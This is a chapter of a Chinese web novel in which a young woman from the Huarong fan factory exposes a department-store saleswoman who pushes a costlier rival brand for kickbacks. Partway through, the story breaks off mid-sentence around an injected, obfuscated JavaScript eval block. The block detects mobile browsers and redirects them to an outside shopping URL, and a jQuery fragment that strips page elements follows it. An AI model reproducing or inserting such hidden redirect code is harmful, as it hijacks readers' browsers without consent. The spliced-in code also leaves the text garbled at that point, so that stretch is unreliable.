听到有人要买风扇,售货员回头,只见一个小姑娘站在不远处,正笑盈盈的看着她。
她瞥了一眼站在她旁边的张嘉林,猜测两人要么是情侣,要么新婚小夫妻。简而言之,比大姐更好成交的意向客户!
正好她被顾客搞得有点烦了,车轱辘话说了好几遍,这位大姐犹犹豫豫的死活不给个准话。
要是其他顾客,在她连环劝说下,早挨不住买了,可对方愣是不为所动,搞得她都怀疑大姐今天到底买不买。如果不买,她岂不是白费功夫了?
想到这,她索性撂下大姐,热情地招呼许晚柠,“同志,你想买台扇、鸿运扇,还是落地扇?”
售货员换了目标,大姐也跟着松了口气,总算不逮着她一个人推销了,这人也太能说了,刚才她差点就答应了。
注意到售货员和顾客的目光同时落在她身上,许晚柠下巴微抬,“跟这位大姐一样,也要落地扇,不过我来之前,家里交代过,要华荣牌的。”
一听对方指定要华荣牌,售货员虽然不乐意却并不意外。华荣是他们本地二十多年的老品牌,在市民心中认可度很高。
只可惜返点不高。
她脸上带了歉意,“不好意思,最近天热,电风扇热销,华荣的断货了,要不你看看别的?”
她指着眼前的产品,笑着介绍,“你看这款落地扇怎么样?这是荷花牌最新款,比华荣贵不了多少,质量好,噪音小,省城来的高端货,你瞧瞧,样子多大气,摆在客厅也有面子。”
许晚柠笑着说最任性的话,“抱歉,我不要这款,我只要华荣牌落地扇。没货了,你们可以从其他门市调货,或者去华荣厂进货,我可以等。”
售货员第一次遇见这么死心眼的顾客,居然还安排起她来了,脑袋顿时一片空白,一时不知道该说点什么。
许晚柠挑眉,“怎么,你不愿意?”
这什么态度?售货员气得脸色发青。
因为两人起争执,附近的顾客聚集过来,有的甚至明目张胆地看热闹。
她忍了又忍,憋出一句,“同志,调货没有你想的那么简单。”
“是吗?”许晚柠笑容温和,“你把你们经理叫来,我问问他,供销大厦是本市规模最大、东西最全的地方,他想调货,那还不是一句话的事?”
售货员深吸一口气,“经理不在。”
许晚柠无所谓的点头,“行,你说不在就不在吧,我也不为难你,我问你几个问题,请你如实回答。”
不给她拒绝的机会,她直接问,“你这么卖力气给我推荐荷花牌落地扇,其中包括旁边这位一直嫌贵的大姐,是想让我们多花钱?还是省城电器厂给了你什么好处?”
“你少胡说八道!”
售货员像是被人踩了痛脚,气得理智全无,完全不顾周围看热闹的人,梗着脖子回怼,“你一个小姑娘怎么这么没礼貌,我不是告诉你了吗?华荣的没货了,不知道什么时候来货,你想买,可以看看别的品牌。”
“天这么热,我好心给你推荐款质量好的风扇,拿回家就能用,我们负责送货上门,你可倒好,不分青红皂白冤枉人。我看你不是来买电扇,是来找事的吧?”
许晚柠轻轻鼓掌,“精彩,说的我差点就信了。大家是不是也认为,华荣的断货了,所以买不到?”
周围好事的大妈们纷纷响应。
“是啊!我前两天来这想买华荣的,售货员说没货了,给我推荐的荷花牌,我看没贵多少,加上天热,就买了。”
“大妹子,你还真买了?贵十好几块钱呢,还好南城供销社门市部有货,我在那买的。”
“我们那边门市部也有货,华荣便宜,质量也好,我们家一直用这个牌子的风扇。”
“对对对,我家也用的华荣牌,我来供销大楼也是想再买一台,听说这边型号最全,结果跟我说断货了,到底真的假的?”
谁能相信普通门市部有货,号称东西最全的供销大厦反而没货呢?
人群中议论纷纷,售货员脸都僵了。
许晚柠余光看见有领导模样的人在往这边赶,不紧不慢的说,“对了,你说华荣牌断货了,为什么厂里没有接到你们要货的电话?甚至连样机都被你们放在家电区一角落灰?”
售货员气得口不择言,“你怎么知道我们没打电话!”
许晚柠从容一笑,“因为我们就是华荣厂的。”
她身旁的张嘉林不自觉地挺了挺胸膛。
没错,他们就是华荣厂的!
两人一亮身份,售货员莫名激动了,伸手指着他们,咬牙切齿的说,“好啊,我就说你们不是来买风扇的,原来是华荣厂的职工!你刚才说了那么多,不就是嫌我没卖你们厂的货吗?”
像是终于抓住了对方小辫子,售货员气焰逐渐嚣张,“你们华荣厂电风扇就是不如荷花牌的好,我推荐顾客买荷花牌的怎么了?人家可是省城国营厂,有上千职工,你们比得过吗?”
那确实是比不过的。
许晚柠不与她争辩,而是笑眯眯地看向刚刚赶到,穿着灰色短袖衬衫、深色长裤的中年男人。
“您是这的经理?”许晚柠询问,语气却带着肯定。
经理点头,“我姓郝,目前负责三楼,这边发生了什么,是不是有什么误会?”
许晚柠才不信对方什么都不知道,揣着明白装糊涂罢了。她笑容一收,神情严肃,“我们是华荣厂的,今天过来巡查一下产品销售情况,发现我们厂的风扇被放在犄角旮旯落灰。”
她抬手指了指,“这位大姐想要华荣牌落地扇,售货员说没货了,非要给她推销荷花牌的,我气不过,和她争执了几句。当着大家的面,我想问问您,我们华荣牌落地扇真的没货了吗?”
这?
他没想到对方说话这么直接,周围这么多人围观,如果他回答没货,那为什么不能调其他店的货,或者直接去厂里拉?如果有货,那不是打自家脸吗?毕竟刚才售货员振振有词的说断货了。
郝经理冷汗都快下来了,不过能当上经理,还是有几分急智的,“最近天热,风扇热销,华荣牌是本市老品牌,大家非常认可,买的人多,导致落地扇断货,真是对不住。”
许晚柠笑而不语。
这人有点难搞,郝经理心思急转,看向那位大姐,“不过仓库应该还有几台
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470271|201440||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
次等品。如果您不介意,我可以做主折价卖给您。您放心,只是机身在搬运过程中,有些细微剐蹭、磕碰,不是什么大毛病,并不影响使用。”
大姐一听,有些激动,小心翼翼的问,“经理,能折多少啊?”
郝经理微笑,“百分之五到百分之十,按落地扇的售价,合算成价格,能便宜15-30元。”
大姐直接点头,“我要一台。”
旁边的售货员气得翻白眼,刚才说破嘴都不买,一听经理说有次等品,还有折扣,立马同意,这都什么事啊?
当然最可气的还是对面那个小姑娘,年纪轻轻的,这么有手段,真是小看她了。
旁边好几个没定的顾客见状,也跟着嚷嚷,“经理,次等品还有吗,我要一台。”
“我也要!”
其他售货员不干了,“大姨,刚刚您都定了,要荷花牌的!”她的返点啊!
大姨翻了个白眼,“有便宜的不买,买这么贵的?真当大姨家钱大风刮来的啊?”
次等品怎么了,只要能用,那都不是事!更何况最少能便宜十几块钱呢!能去市场割好几斤肉了。
郝经理几句话安抚好真正购买的顾客,让人带走办手续,然后看向许晚柠,“同志,你看这样处理,可以吗?”
许晚柠颔首,“刚才她态度不好,我要一句道歉,不过分吧?”
郝经理还未说话,售货员立刻怼道,“凭什么!”
当着这么多顾客的面,她好好的单子被对方搅黄了,居然还要她道歉?她压根没错,道哪门子歉!
“廖春燕,你闭嘴!”
郝经理语气不耐,要不是因为她行事张扬,招来这尊煞神,他至于拿次等品平事吗?
廖春燕满脸不可置信,“你居然敢吼我?”
郝经理瞪了她一眼,眼神催促,“快跟这位女同志道歉!”
人群中指指点点,议论纷纷。廖春燕臊得满脸通红,捂着脸跑了。
郝经理一脸歉意,还未说什么,许晚柠抢先一步,“经理,你们售货员的服务意识有待加强啊。”
“是是是,回头我肯定批评她,你看这样处理满意吗?”顾及周围还剩下不少看热闹的人,郝经理眼神不耐,强忍着没翻脸。
许晚柠知道现在国营商场服务意识差,向来是看人下菜碟,经理反应快,处理还算得当,索性见好就收。
不过还有最后一个问题,“我们厂生产的电风扇,是不是该换个位置了?”
她指着中间最显眼的地方,“我看这地方不错。”
郝经理嘴角一抽,还真是不客气,为了送走这位煞神,嘴上应得爽快,“当然,我马上让人来换。”
许晚柠满意点头,“因为一点小事耽误您这么长时间,十分抱歉,改天您有时间上我们厂视察,我请您尝尝食堂小炒。”
“成,改天一定去。”
闹事的人一走,人群也渐渐散了。
郝经理站在原地,笑容一收,“去看看春燕跑哪去了?”
办事员认命去跑腿,他最讨厌关系户了!经理刚才骂爽了,最后还不是他来哄?
这都什么事啊?